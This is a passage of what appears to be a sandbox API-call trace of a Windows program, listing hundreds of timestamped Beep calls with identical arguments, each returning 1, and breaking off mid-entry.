[0247.911] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.913] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.916] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.932] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.949] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.963] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.984] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0247.995] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.012] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.029] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.045] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.047] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.048] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.050] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.053] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.071] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.085] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.102] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.106] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.107] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.110] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.126] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.142] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.159] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.161] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.164] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.165] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.168] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.184] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.201] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.214] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.220] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.242] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.247] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.265] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.286] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.296] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.313] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.329] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.346] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.369] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.377] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.395] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.412] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.428] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.431] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.432] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.434] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.435] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.438] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.454] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.472] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.483] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.489] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.506] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.516] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.533] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.551] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.567] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.570] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.573] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.575] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.591] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.610] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.622] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.629] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.648] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.658] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.673] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.696] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.704] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.723] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.739] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.756] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.759] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.766] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.779] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.797] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.815] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.832] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.843] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.859] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.860] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.877] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.896] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.916] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.925] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.942] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.960] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.982] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.985] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.990] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.991] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.992] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0248.995] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.011] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.029] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.041] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.043] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.063] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.073] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.092] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.109] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.123] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.124] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.127] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.128] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.130] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.131] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.134] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.150] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.167] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.184] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.199] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.215] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.218] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.219] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.223] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.239] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.255] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.274] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.276] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.283] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.296] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.314] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.334] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.349] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.359] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.381] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.399] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.408] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.426] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.443] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.460] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.462] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.467] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.486] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.499] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.517] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.541] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.549] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.567] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.583] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.599] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.602] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.609] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.622] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.640] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.658] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.676] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.686] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.707] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.728] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.735] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.754] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.770] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.788] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.792] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.799] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.812] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.829] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.847] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.864] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.874] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.892] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.909] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.927] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.949] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.957] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.976] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0249.994] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.008] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.011] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.018] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.030] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.047] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.065] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.081] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.099] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.102] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.103] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.107] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.121] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.138] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.156] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.171] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.190] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.193] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.200] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.213] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.235] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.247] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.268] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.276] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.295] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.310] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.325] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.328] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.329] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.330] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.335] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.352] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.370] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.383] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.398] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.414] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.436] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.447] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.467] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.480] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.502] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.511] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.529] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.551] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.560] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.580] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.600] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.609] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.632] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.663] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.674] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.693] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.709] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.728] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.730] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.731] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.735] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.751] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.768] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.780] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.781] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.802] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.812] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.832] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.850] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.861] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.880] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.895] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.915] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.918] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.919] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.922] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0250.936] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.076] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.123] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.138] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.154] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.170] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.185] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.186] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.187] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.202] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.218] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.235] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.236] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.252] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.268] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.283] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.284] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.285] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.301] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.317] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.332] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.333] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.334] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.350] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.365] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.367] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.368] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.369] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.370] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.373] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.374] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.375] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.382] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.389] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.390] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.391] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.392] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.393] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.395] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.767] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.802] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.807] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.808] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.811] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.812] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.813] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.814] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.815] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.816] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.817] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.818] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.819] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.820] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.821] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.822] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.823] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.824] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.825] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.826] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.828] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.829] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.845] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.860] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.876] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.877] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.879] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.894] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.909] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.910] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.911] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.912] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.913] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.914] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.915] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.916] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.917] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.918] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.921] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.935] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.950] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.966] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.967] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.968] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.969] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.970] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.971] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.972] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.973] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.974] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.975] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.976] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.977] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.978] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.979] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.980] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.986] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.987] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.988] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.989] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.990] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.991] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.992] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.993] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.994] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.995] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.996] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.997] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.998] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0251.999] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.000] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.001] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.002] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.003] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.004] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.005] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.008] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.009] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.010] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.011] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.012] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.013] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.014] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.015] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.016] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.017] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.018] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.019] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.020] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.021] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.022] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.023] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.024] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.025] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.026] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.027] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.028] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.029] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.030] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.031] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.032] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.033] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.034] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.035] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.036] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.037] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.038] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.039] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.158] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.159] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.160] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.161] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.162] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.163] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.164] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.165] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.166] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.167] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.168] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.169] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.170] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.171] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.172] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.173] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.174] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.175] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.176] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.177] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.178] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.179] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.180] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.181] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.182] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.183] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.184] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.185] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.186] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.187] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.188] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.189] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.190] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.191] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.192] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.193] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.194] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.195] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.197] Beep (dwFreq=0x25, dwDuration=0x1) returned 1 [0252.203] Beep 